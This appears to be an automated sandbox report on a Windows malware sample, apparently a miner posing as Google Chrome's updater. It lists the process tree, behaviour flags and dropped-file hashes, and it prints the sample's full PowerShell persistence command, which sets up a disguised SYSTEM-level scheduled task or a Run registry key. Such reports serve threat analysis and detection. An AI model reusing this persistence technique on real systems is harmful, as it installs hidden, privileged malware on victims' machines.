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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3676
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:3916
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1180
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4392
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2496
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:396
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC1⤵PID:920
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4016
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:2224
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe1⤵PID:2168
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k UnistackSvcGroup1⤵PID:3604
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
18KB
MD53a2693c544d68166d0a1e006c267774f
SHA179cf439c5b5b12341b7f44d6cf167a83daa129c3
SHA2561a1152098e009013355410745d5f56dba0245a73d4f1a88e2c2b43bf6ed3bac0
SHA5123c760722bec1cedefc7ab68a5dd5ac167807498bb9d4c9a5ac1ae1f2f7c7ac593d130edef2e9dc21069dd2f613c8a9aecf770785d52858c53b2584a6904533e7
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Filesize
37KB
MD507a452a095a67d2dfd01884bc889963d
SHA1093eed976983299694e64fe19cae463e70126a66
SHA256b2e509c601553ef8a85ac947f67c9e2c4c1e098522a8d41e5c8d77cb5dd4b9bb
SHA512afc4516d76948ae7411ca5bce450a1b5a56900fe54eef1365e1b11543b8f7a850d85c007084f20b21dcc1dabfad1cd9fd927b471550f1c6da45eca52f217e3a7
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD5d28a889fd956d5cb3accfbaf1143eb6f
SHA1157ba54b365341f8ff06707d996b3635da8446f7
SHA25621e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA5120b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
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Filesize
1KB
MD502f4d5eceb808b662dc010b46f16cd65
SHA16ea36b74a71f8c4af37691d405c8149db6c88700
SHA256f1016f26c71f59d0cc33f1474d5d7f10bcf110d8dffb4cf60d2babea71239bd4
SHA51225c3202b9d55f96127bb7b090909bcae022a06db780673add777ba669a851907040892e77a93a3f00d5d37261b3a7d8aa879a7fe7e199ed0be89cf2639c51c1b
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5